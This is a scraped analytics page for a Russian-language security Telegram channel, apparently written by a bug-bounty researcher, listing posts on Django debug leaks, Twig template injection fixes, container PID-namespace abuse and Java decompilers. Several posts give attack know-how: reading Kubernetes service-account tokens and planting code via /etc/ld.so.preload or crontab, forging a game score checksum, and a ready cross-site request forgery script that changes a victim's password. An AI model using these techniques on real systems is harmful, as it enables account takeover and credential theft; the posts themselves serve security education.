uk
Feedback
root@rivens.life

root@rivens.life

Відкрити в Telegram

Basic concepts of cybersecurity and programming. All content is published for introductory purposes. The author urges you to love each other. Git: https://github.com/rive-n Stackoverflow: https://stackoverflow.com/users/14683725/r1v3n

Показати більше
857
Підписники
Немає даних24 години
Немає даних7 днів
Немає даних30 днів

Триває завантаження даних...

Хмара тегів
Немає даних
Виникли проблеми? Будь ласка, оновіть сторінку або зверніться до нашого support-менеджера.
Вхідні та вихідні згадування
---
---
---
---
---
---
Залучення підписників
березень '24
березень '24
+5
в 0 каналах
лютий '24
+17
в 0 каналах
Get PRO
січень '24
+45
в 0 каналах
Get PRO
грудень '23
+27
в 0 каналах
Get PRO
листопад '23
+34
в 0 каналах
Get PRO
жовтень '23
+52
в 0 каналах
Get PRO
вересень '23
+36
в 0 каналах
Get PRO
серпень '23
+34
в 0 каналах
Get PRO
липень '23
+23
в 0 каналах
Get PRO
червень '23
+48
в 0 каналах
Get PRO
травень '23
+132
в 0 каналах
Get PRO
квітень '23
+26
в 0 каналах
Get PRO
березень '23
+30
в 0 каналах
Get PRO
лютий '23
+36
в 0 каналах
Get PRO
січень '23
+60
в 0 каналах
Get PRO
грудень '22
+82
в 0 каналах
Get PRO
листопад '22
+12
в 0 каналах
Get PRO
жовтень '22
+13
в 0 каналах
Get PRO
вересень '22
+16
в 0 каналах
Get PRO
серпень '22
+19
в 0 каналах
Get PRO
липень '22
+25
в 0 каналах
Get PRO
червень '22
+19
в 0 каналах
Get PRO
травень '22
+286
в 0 каналах
Дата
Залучення підписників
Згадування
Канали
27 березня+1
26 березня+1
25 березня+1
24 березня0
23 березня0
22 березня0
","datePublished":"2023-10-06T13:07:52Z","dateModified":"2023-10-06T13:07:52Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":9,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":783},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":12},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":30},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":9}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/936","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/936","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/936","headline":"Думаю, многие видели пост Бума про то, как можно вызвать ошибку в Django в режиме отладки и получить какую-то…","articleBody":"Думаю, многие видели пост Бума про то, как можно вызвать ошибку в Django в режиме отладки и получить какую-то сенсетив информацию. Хотелось бы рассказать про еще 1 метод, который не был упомянут в посте. \n\nДопустим, что вам удалось найти приложение, написанное с использованием фреймворка Django, которое запущено в режиме отладки. Что делать, если дефолтные проверки не дали результатов и у вас не получилось вызвать какую-то ошибку в приложении? \n\n1. Делаем запрос на несуществующий эндпоинт, получая информацию о зарегистрированных роутах в приложении;\n2. Анализируем вывод и на основе анализа получаем информацию о том, какие плагины использует приложение. В качестве примера рассмотрим то, с чем я столкнулся в реальной жизни;\n3. Идем на эндпоинт этого плагина (в данном случае - /rosetta) и вызываем там ошибку, описанную в п1, таким образом получая информацию о существующих эндпоинтах плагина. Зачем это делать? Оказывается, что у некоторых плагинов есть куча форков, которые, понятное дело, работают по разному и имеют разный набор роутов. \n4. По доркам находим исходники этого форка и начинаем анализировать код. Искать советую именно по определенным эндпоинтам! Так, к примеру, я обнаружил, что приложение использует данный форк.\n5. Во время анализа обращаем внимание не только на участки кода, которые могут привести к привычным нам уязвимостям, но и к участкам кода, которые могут вызвать 500 ошибку. Таким образом, можно найти что-то похожее (каст типа str к int) и получить 500 ошибку, которая ликнет сенсетив информацию!","datePublished":"2023-09-27T13:59:49Z","dateModified":"2023-09-27T13:59:49Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":423},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":14},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":14}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/935","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/935","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/935","headline":"Работая над одним проектом, пришлось столкнуться с Twig и с его ошибками во время обработки шаблонов, приводя…","articleBody":"Работая над одним проектом, пришлось столкнуться с Twig и с его ошибками во время обработки шаблонов, приводящих к удаленному исполнению кода. Во время работы над устранением данных ошибок, нашелся крайне странный способ фикса, который, насколько я знаю, очень сильно отличается от привычных фиксов в других языках.\n\nДопустим, что на бэкенде мы не используем файлы шаблонов, а используем шаблоны, которые мы создаем в real-time. В условном Flask мы бы могли сделать это с помощью функции render_template_string. В Twig же, есть нечто похожее:\n\n$loader = new Twig_Loader_Array([])\n$twig = new Twig_Environment($loader);\nreturn $twig->createTemplate($data)->render(); \n\nВ случае, если в метод createTemplate поступят данные атакующего - будет возможность проексплуатировать SSTI. Но тут возникает вопрос - а как это зафиксить? \n\nОказалось, что объект Twig_Loader_Array куда интереснее, чем может показаться. Документация гласит:\n\"\\Twig\\Loader\\ArrayLoader loads a template from a PHP array. It is passed an array of strings bound to template names\" \n\nЧто в этом случае значат \"template names\" одному разработчику ядра twig ясно. Во всех примерах используются названия на типе index.html/base.twig.html и другие, что наталкивает на мысль о том, что Twig попытается прочитать этот файл из заранее заданной папки с шаблонами. Так ли это на самом деле? Ответ прост - нет. На самом деле, все эти значения хранятся в памяти и в локальном кеше:\n\n>>> $loader = new \\Twig\\Loader\\ArrayLoader([\n 'fileThatDoesNotExists' => 'Hello {{ name }}!',\n]);\n=> Twig\\Loader\\ArrayLoader {#5775}\n>>> $twig = new \\Twig\\Environment($loader);\n=> Twig\\Environment {#5786} \n>>> echo $twig->render('fileThatDoesNotExists', ['name' => 'Riven']);\nHello Riven!⏎ \n\nТ.е, на деле, нам не надо создавать файлы шаблонов и хранить их на системе, если речь идет не про какой-то большой софт и вполне можно использовать всякие лайфхаки для того, чтоб, к примеру, сделать sandbox, который будет генерироваться в realtime используя loader под названием ChainLoader: \n\n$loader1 = new \\Twig\\Loader\\ArrayLoader([\n 'fileThatDoesNotExists' => \"{% if 1==1 %} Tag Test {%endif%} test content here\"\n]);\n$loader2 = new \\Twig\\Loader\\ArrayLoader([\n 'SandboxForfileThatDoesNotExists' => '{% sandbox %}{% include \"fileThatDoesNotExists\" %} {% endsandbox %}'\n]); \n\n$loader = new \\Twig\\Loader\\ChainLoader([$loader1, $loader2]);\n$twig = new \\Twig\\Environment($loader);\n$twig->addExtension($sandbox);\n$renderedOutput = $twig->render('SandboxForfileThatDoesNotExists');","datePublished":"2023-09-24T08:16:37Z","dateModified":"2023-09-24T08:16:37Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":452},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/934","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/934","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/934","headline":"Кто-то: Ждет пока я зарелbжу что-то полезное. Тем временем я: https://github.com/rive-n/legendary-fishstick","articleBody":"Кто-то:\nЖдет пока я зарелbжу что-то полезное.\n\nТем временем я:\nhttps://github.com/rive-n/legendary-fishstick","datePublished":"2023-09-17T12:36:40Z","dateModified":"2023-09-17T12:36:40Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":469},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":11},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/933","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/933","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/933","headline":"#почему_я_ненеавижу_django #длиннопост Это огромный монолит, который крайне тяжело кастомить. Возможно, если…","articleBody":"#почему_я_ненеавижу_django #длиннопост\n\nЭто огромный монолит, который крайне тяжело кастомить. Возможно, если набраться опыта в 10 лет в разработке только на этом фреймворке, то будет легче, но все равно неприятно.\n\nКейс: Есть модель, назовем ее ModelA, внутри которой хранятся уязвимости, относящиеся к определенному куску текста. \nЕсть другая модель, назовем ее ModelB, созданная для верификации уязвимостей, которые стекаются из предидущей модели. Понятное дело что отношение между ними OneToOne. В модели ModelB есть поле ManyToManyField к модели ModelC, которая содержит в себе все уязвимости. Нужно сделать так, чтоб при изменении SingleChoiseForm (на основе OneToOne) прямо в панели администратора обновлялась форма ManyToManyField, так как мы хотим дать пользователю возможность выбрать только те уязвимости, которые были реально занесены в ModelA. (Тяжело...)\n\nНо, так как в джанге (насколько я знаю) НЕТУ адекватного способа сделать что-то такое, то мне пришлось, as always, потратить какое-то время на решение проблемы.\nАлгоритм, как оказалось, весьма несложен:\n1. Создаем шаблон, который расширяет базовый шаблон admin/change_form.html; В самое начало необходимо вставить теги:\n\n{% extends \"admin/change_form.html\" %}\n{% load i18n %}\n{% load static %}\n\n{% block admin_change_form_document_ready %}\n{{ block.super }} \n\n2. В теле шаблона (или в отдельном .js файле) описываем EventListeners на изменение нужного нам поля. После срабатывания хука - собираем всю необходимую Django информацию в виде полей из формы (в том числе csrfmiddlewaretoken) и далем POST запрос с последующим обновлением страницы.\n\n3. На бэкенде создаем форму (наследуемся от forms.ModelForm) и инициализируем ее с помощью магического метода __init__. Сигнатура будет такой: def __init__(self, *args, **kwargs). Внутри kwargs хранится объект, который содержит в себе все необходимое из запроса. Нам нужно получить эти данные, сделать запрос к базе и обновить форму. Выглядит это примерно следующим образом:\n\n def __init__(self, *args, **kwargs):\n\n if kwargs.get('instance'):\n task_id = kwargs['instance'].task_id\n else:\n task_id = None\n\n super().__init__(*args, **kwargs)\n\n if task_id:\n task = SomeModel.objects.get(id=task_id)\n\n choices = task.someobject.values_list('id', 'vulnName')\n self.fields['foundVulnerabilities'].choices = choices","datePublished":"2023-09-13T16:22:33Z","dateModified":"2023-09-13T16:22:33Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":6,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":508},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":12},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":6}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/932","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/932","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/932","headline":"​Привет! Long time no see 👋 В этом году, как вы могли заметить, я вхожу в круг организаторов OFFZONE и вприда…","articleBody":"​Привет! Long time no see 👋\n\nВ этом году, как вы могли заметить, я вхожу в круг организаторов OFFZONE и впридачу являюсь community партнером. Поэтому, у меня для вас отличные новости - я собираюсь разыграть 1 проходку на OFFZONE среди участников этого канала.\n\nЧто нужно сделать:\n🔊Заслать топ интересных репортов/ресерчей за последний год в комментарии к этому посту. \n\nЧерез неделю я выберу комментарий с самыми интересными по моему мнению багами и вручу победителю билет.","datePublished":"2023-08-08T11:32:48Z","dateModified":"2023-08-08T11:32:48Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":4,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":395},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":4}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/931","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/931","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/931","headline":"root@rivens.life","datePublished":"2023-08-08T11:32:48Z","dateModified":"2023-08-08T11:33:00Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/930","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/930","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/930","headline":"®️ Еще неделю принимаем заявки на CFP Если вы все это время думали, стоит выступать с докладом на OFFZONE или…","articleBody":"®️ Еще неделю принимаем заявки на CFP\n\nЕсли вы все это время думали, стоит выступать с докладом на OFFZONE или нет, ответственно заявляем: стоит!\n\nПрисылайте заявки на основной трек и AppSec.Zone до 17 июля.","datePublished":"2023-07-10T15:29:10Z","dateModified":"2023-07-10T15:29:10Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":270}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-07-10T15:26:21Z"}}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/929","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/929","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/929","headline":"Пока у меня нет возможности запилить новый пост, напомню, что мы все еще находимся в поиске спикеров, в том ч…","articleBody":"Пока у меня нет возможности запилить новый пост, напомню, что мы все еще находимся в поиске спикеров, в том числе на APPSEC.ZONE! \n\nСпикеры получат крутейший мерч, бесплатную проходку на мероприятие и на секретный ивент для спикеров!","datePublished":"2023-07-10T15:29:10Z","dateModified":"2023-07-10T15:29:10Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":288}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/928","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/928","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/928","headline":"к","articleBody":"к","datePublished":"2023-06-24T07:02:31Z","dateModified":"2023-06-24T07:02:43Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":2}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/927","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/927","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/927","headline":"Привет! Наконец дошли руки до того чтоб переподнять блог, доделать на нем автоматизацию и написать райтап на…","articleBody":"Привет!\nНаконец дошли руки до того чтоб переподнять блог, доделать на нем автоматизацию и написать райтап на Payment Village задания со стендофа. Ознакомиться можно тут. Приятного прочтения 😴","datePublished":"2023-06-01T16:38:09Z","dateModified":"2023-06-01T16:38:09Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":488},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/926","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/926","mainEntityOfPage":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life/posts/926","headline":"Всем спасибо за TheStandoff! И отдельное спасибо команде True0xA3 за возможность поучаствовать оффлайн :)","articleBody":"Всем спасибо за TheStandoff! И отдельное спасибо команде True0xA3 за возможность поучаствовать оффлайн :)","datePublished":"2023-05-20T15:45:04Z","dateModified":"2023-05-20T15:45:04Z","author":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"publisher":{"@type":"Organization","name":"root@rivens.life","url":"https://telemetr.io/uk/channels/1245053443-r1v3ns_life","image":"https://img.tlmtr.io/c/1mg7h9/5404774274373371791?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":381},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}}]}
Дописи каналу
Посетил сегодня конференцию от Google, посвященную Blue Team и Threat assessment, которая проводилась (вы не поверите) в здан
+1
Посетил сегодня конференцию от Google, посвященную Blue Team и Threat assessment, которая проводилась (вы не поверите) в здании-офисе Google. Основные поинты: - Определенные группировки (не будем называть их имен) используют в качестве транспорта (связь между C2 сервером и агентом) telegram bot api с захардкоженным токеном бота. Все общение происходит внутри телеграмм чатов. (Why?) - Придумали и разработали инструмент под названием permhash, которая анализирует набор разрешений, который прописаны в манифесте приложения. Делает она это, правда, неумело, так как формирует хеш на основе данных, которые не сортируются. Иначе говоря, расположив определенный набор разрешений в разном порядке на выходе получится другая хеш сумма. - Был метафорический толк по поводу того как бороться с новыми угрозами. По итогу специалист из GOOGLE сослался на документ под названием «Human rights under surveillance», посоветовав к прочтению. - Потрясающий разбор уязвимости CVE-2023-2868 (подробности по ссылке, разбор ничем не хуже). Было много всего другого, но сюда оно не попало по одной из причин: - Совсем неинтересно; - NDA (просто попросили не выносить).

2
3 года работы в компании BI.ZONE пролетели незаметно. Я пришел в это место стажером, а ушел ведущим специалистом. Это были 3
3 года работы в компании BI.ZONE пролетели незаметно. Я пришел в это место стажером, а ушел ведущим специалистом. Это были 3 незабываемых, хардкорных года, которые дали толчок моей карьере в сфере информационной безопасности. Я благодарен всем своим (уже бывшим) коллегам за все это время и благодарен подписчикам этого паблика за то, что оставались со мной на протяжении всего этого периода. В настоящий момент я нахожусь далеко за пределами России и начинаю свой путь в не менее именитой компании под названием TikTok. На фото, кстати, я.
426
3
Думаю, многие видели своего рода "игры" в телеграме, в которых можно соревноваться с друзьями. Как-то я решил вкинуть одну из
Думаю, многие видели своего рода "игры" в телеграме, в которых можно соревноваться с друзьями. Как-то я решил вкинуть одну из таких игр в чат и задумался о том, как происходит процессинг итогового скора. По итогу, в запросе на выставление скора можно заметить некую чексумму, которая, к счастью для нас, формируется на клиенте и которую, конечно же, можно спокойно подделать, поставив точку останова в определенном месте со скрина. Берем функцию подсчета чексуммы, засовываем в консоль во время активного брейкпоинта и изменяем все необходимые параметры. Выводим значение, подсовываем в запрос и.. Радуемся первому месту в таблице лидеров. 😼
383
4
Теперь надо наращивать уровень канала чтоб пользоваться разными фишками (можно раскрашивать сообщения и всякое такое). UPD: Нет, истории я постить не буду, так как они только раздражают. Погнали бустить.
374
5
hostPID: true и --pid=host Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно. Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться. Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк. Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, например к /proc/PID/environ (содержащим весь environment процесса), ОС проверяет ptrace access mode. Подробно эта проверка описана в конце мана ptrace . Выпишу основное. Есть два уровня доступа: - менее привилегированный PTRACE_MODE_READ - более привилегированный PTRACE_MODE_ATTACH Полный список файлов в /proc/PID/ с указанием того какой уровень доступа к ним требуется перечислен в мане proc Базовая проверка для обоих уровней доступа на уровне ОС делается примерно одинаково, основное: - наборы UID и GID запрашивающего и целевого процесса должны совпадать - набор permitted capabilities целевого процесса должен быть подмножеством набора effective capabilities запрашивающего процесса - наличие у запрашивающего процесса CAP_SYS_PTRACE позволяет обойти указанные выше ограничения Также в проверке могут участвовать LSM, например apparmor и yama (последний работает только для PTRACE_MODE_ATTACH), но это мы рассмотрим в следующем посте. CAP_SYS_PTRACE тоже рассмотрим отдельно, с ним тоже есть тонкости. А вот что мы можем делать если у нас нет CAP_SYS_PTRACE? Так вот, немного утрируя мы можем получить доступ уровня PTRACE_MODE_READ во все контейнеры, запущенные с таким же набором capabilities, как и наш, или более узким, а также они должны быть запущены под тем же UID. Но это ведь обычная история в kubernetes/docker, там все контейнеры/поды как правило стартуют с одним и тем же набором capabilities и зачастую от одинакового пользователя (ниже считаем что это root). Из интересного можно читать /proc/PID/environ, но даже не это самое прикольное. Под PTRACE_MODE_READ также подпадают /proc/PID/root и /proc/PID/cwd. C их помощью мы можем попасть в файловую систему целевого контейнера. И если мы root, то мы в ней можем не только читать но и писать туда! И это без CAP_SYS_PTRACE и с apparmor/yama запущенными по умолчанию! А значит мы можем: 1) читать SA-токены из других подов /proc/PID/root/var/run/secrets/kubernetes.io/serviceaccount/token 2) попытаться добиться RCE в другом поде путем записи в /etc/ld.so.preload, /root/.ssh/authorized_keys, /etc/crontab и т.д. и т.п.
239
6
https://hackerone.com/reports/1274695 RCE of Burp Scanner / Crawler via Clickjacking Красиво
https://hackerone.com/reports/1274695 RCE of Burp Scanner / Crawler via Clickjacking Красиво
299
7
Я тут не так давно писал про то, как можно запатчить SSTI в твиге для небольших приложений. Делалось это не просто так. Во время проекта нашел Authenticated Remote Code Execution в достаточно популярном Open-Source проекте. Подробности в advisory.
517
8
Многие используют по привычке JD-Gui когда нужно декомпилировать Джаву. Но у этого решения есть свои недостатки: 1. Это gui; 2. Иногда возникают проблемы декомпиляции, возможно из-за того что jd-core уже давно не обновляется. Jd-Gui использует под капотом Jd-Core, который можно использовать в качестве cli альтернативы. Для чего это может понадобиться? К примеру, мы диффнули какие-то части приложения и обнаружили измененные .jar/.class файлы. Их оказалось больше 1 и открывать каждый файл отдельно в интерфейсе лень. Таким образом, можно собрать декомпилятор локально и использовать его в виде cli версии (спасибо @Loqpa). Кроме Jd-Core есть еще несколько декомпиляторов, которые показали себя просто отлично: 1. cfr Собирается очень просто - делаем git clone —recurse-submodules, устанавливаем maven, в pom.xml при необходимости меняем <javaVersion>1.6</javaVersion> на <javaVersion>1.8</javaVersion> делаем mvn compile/mvn package и получаем cli декомпилятор, который можно будет использовать с помощью баш скриптов. 2. fernflower Собирается также просто - gradle build. Данный декомпилятор используется в intellij idea. 3. Procyon Набор инструментов, относящихся к генерации и анализу кода на Java. Среди них есть и декомпилятор. Собирается тоже очень просто. Для чего знать про несколько декомпиляторов? Каждый из них поддерживает некоторые фишки, которые могут быть исключительными для них. Так, к примеру, Procyon не поддерживает статические поля в интерфейсах. Кроме того, каждый из них работает или быстрее, или медленнее. Так, все тесты показали, что cfr обгоняет своих конкурентов и справляется с декомпиляцией в разы лучше. Если интересно, то есть статья на хабре, раскрывающая больше особенностей каждого из декомпиляторов (она не совсем свежая, но во многом результаты остались прежними). Таким образом, можно очень быстро декомпилировать необходимое количество файлов, к примеру, следующим образом: find teamcity -type f \( -name "*.class" -o -name "*.jar" \) -exec java -jar <decompiler.jar> <options> {} --outputdir /results/{} \; Ну и вместо Jd-Gui можно использовать Recaf, он дает возможность использовать любой из выше-описанных декомпиляторов, настроить можно так.
362
9
То, что уже не должно встречаться, то все еще встречается (#bb_tips?). Во время проекта наткнулся на функциональность изменения профиля. Ну и, понятное дело, не проверить CSRF было бы грехом. Однако, общение с бэкендом происходит через Rest с использованием Content-type: application/json. Это значит, что запрос будет сложным и значит, что легкого пути в эксплуатации CSRF быть не должно. Ведь так..? Не многие знают, но есть 1 способ, как можно сделать из сложного запроса простой. Вместо application/json ставим application/x-www-form-urlencoded, а тело запроса оставляем прежним :). Сразу хочется отметить, что burp не сгенерирует полезную нагрузку, поэтому вот сниппет, которым можно воспользоваться: <script> let req = new XMLHttpRequest(); req.open("POST", "https://vulnerable.host/api/profile/update", false); req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req.withCredentials = true; var params = '{"first_name":"riven","last_name":"riven","birthday":"01/01/1337", "password":"pwned"}'; console.log(params); req.send(params); </script>
783
10
